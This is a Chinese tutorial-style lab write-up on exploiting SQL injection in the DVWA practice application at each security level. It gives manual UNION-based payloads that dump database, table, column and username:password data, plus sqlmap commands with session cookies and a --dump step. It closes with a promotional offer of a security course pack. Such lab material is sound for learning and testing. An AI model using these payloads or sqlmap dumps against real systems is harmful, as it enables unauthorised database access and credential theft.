DVWA 全等级 SQL 注入漏洞拆解,sqlmap 自动化攻击实战指南
黑盒测试(靶场练习)
注意使用burp时需要编码
LOW
一、输入数值查看页面变化
- 页面出现了新信息,应该是后端查询数据库中的数据后返回
- 猜测有
sql注入漏洞, - GET型传参
- 这里使用抓包工具burp操作后续
二、基础流程是
- 判断注入点(这里只有id一个,那就是
id了) - 判断闭合方式(
’,",")或其它) - 考虑使用什么方式注入(联合,报错,布尔,时间盲注等)
- 是否存在过滤
- 获取库,表,字段,数据
三、操作
2'and 1=1--+ # 多数数据库中使用--空格作为注释,URL编码中空格编码为+,少数使用#作为注入- 注意:
burp中ctrl + u:url编码,ctrl + shift + u:url解码
- 发现无论输入
2'and 1=1--+还是2'and 1=2--+都报错有问题,输入2 and 2=1--+页面都正常显示
- 查看页面报错的信息,和页面能够正常显示判断,输入语句中始终多了个
‘ - 判断是注释符有问题,那就使用
#作为注释符尝试
2'and 1=1#有显示了
2'and 1=21#无显示数据
- 输入第一个语句后有显示,且正常,输入第二语句后,显示页面内容为空
- 判断出闭合方式为==’==闭合且无过滤
- 那就是用最简单的联合查询获取信息
四、联合查询操作
- 判断回显列数
1' order by 3#- 将3换成2后页面显示正常,判断出列数是2列
- 判断回显位
1' union select 1,2#- 1,2都显示了,那就是1,2都显示
这里注意:联合查询是要先让第一个查询结果报错在查询后面的,不然的话显示不出想要的结果,正常的应该是-1' union select 1,2#
- 后续就是查库和表,数据等了
# 库 union select group_concat(schema_name) from information_schema.schemata# # 表 union select group_conat(table_name) from information_schema.tables where table_schema = 'security' # # 字段 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'# # 具体数据 union select 1,group_concat(username,0x3a,password),3 from users-- + -- 0x3a是冒号- 依次操作就行了
五、判断出id字段中存在闭合方式为‘闭合的sql注入问题
Medium
- 由于手动测试比较麻烦,后续使用
sqlmap工具测试
一、页面是选项框输入,估计是限制用户输入内容,防护sql注入
- 页面是
POST请求,那可以使用抓包工具直接修改信息测试,我直接使用slqmap测试 - DVWA靶场是需要登录的,所以这里测试的时候需要携带好
cookie,防止无法成功测试
# 这里是在windows下安装的SQLmap python sqlmap.py -u "自己网页URL" --data "post请求中的数据" -p id --cookie "自己的值" --batch # 下面是我操作(注意换URL和cookie) python sqlmap.py -u "http://dvwa.cmd/dvwa/vulnerabilities/sqli/#" --data "id=1&Submit=Submit" -p id --cookie "security=medium; PHPSESSID=ha8eqgdluhml3rar1tvd79im46" --batch-u:指定探测地址,-p:指定探测字段,--data:指定传入参数,batch:是让其自动给填写Y/N
id字段存在布尔盲注,报错注入,时间盲注,联合注入- 通过输出的payload判断出来闭合方式是数字型的
- 那后续就就简单了,直接爆库,表,字段和数据即可
# 直接在当前语句后加 --dbs:所有库 -D 库名 --tables :所有表名 —D 库名 —T表名 --dump 所有数据二、页面存在id存在POST传参型slq注入漏洞
High
一、发现页面存在跳转,输入页面和显示页面是不同的网页
- 那页面就将联合查询和报错注入阻止了
- 输入信息后页面无有用的信息可以用
二、使用sql盲注进行操做
这里就直接使用sqlmap操作
python sqlmap.py -u "输入信息的url地址" --data "参数值" --second-url "显示信息的url地址" --cookie "具体值" --batch # 自己的操作指令(注意修改URL和cookie,跳转地址) python sqlmap.py -u "http://dvwa.cmd/dvwa/vulnerabilities/sqli/session-input.php" --data "id=1&Submit=Submit" --second-url "http://dvwa.cmd/dvwa/vulnerabilities/sqli/" --cookie "security=high; PHPSESSID=n0bccn6mk33jvnadftnukpm1g7" --batch- –second-url :存在有也面跳转的输入测试
获取到信息存在注入类型和闭合方式,后续操作就是查看库,表等信息
三、网页做了页面跳转来防止注入,但不影响盲注,所以页面存在SQL注入
Impossible
一、页面回到了初始的样子,用户可以输入信息
输入正确信息是页面显示正常内容
当输入注入语句或输入没有的id后页面不显示内容
1' and 1=1#抓包查看
请求体中存在一次性的token(user_token),导致无法使用sqlmap测试
自己输入任何非数字的信息,前端都不显示,那就是后端做了严格的过滤和转义操作
#####DVWA – 004
如何系统学习网络安全/黑客?
网络安全不是「速成黑客」,而是守护数字世界的骑士修行。当你第一次用自己写的脚本检测出漏洞时,那种创造的快乐远胜于电影里的炫技。装上虚拟机,从配置第一个Linux环境开始,脚踏实地从基础命令学起,相信你一定能成为一名合格的黑客。
如果你还不知道从何开始,我自己整理的282G的网络安全教程可以分享,我也是一路自学走过来的,很清楚小白前期学习的痛楚,你要是没有方向还没有好的资源,根本学不到东西!
下面是我整理的网安资源,希望能帮到你。
😝需要的话,可以V扫描下方二维码联系领取~
如果二维码失效,可以点击下方👇链接去拿,一样的哦
【CSDN大礼包】最新网络安全/网安技术资料包~282G!无偿分享!!!
1.从0到进阶主流攻防技术视频教程(包含红蓝对抗、CTF、HW等技术点)
2.入门必看攻防技术书籍pdf(书面上的技术书籍确实太多了,这些是我精选出来的,还有很多不在图里)
3.安装包/源码
主要攻防会涉及到的工具安装包和项目源码(防止你看到这连基础的工具都还没有)
4.面试试题/经验
网络安全岗位面试经验总结(谁学技术不是为了赚$呢,找个好的岗位很重要)
😝需要的话,可以V扫描下方二维码联系领取~
因篇幅有限,资料较为敏感仅展示部分资料,添加上方即可获取👆
如果二维码失效,可以点击下方👇链接去拿,一样的哦
【CSDN大礼包】最新网络安全/网安技术资料包~282G!无偿分享!!!
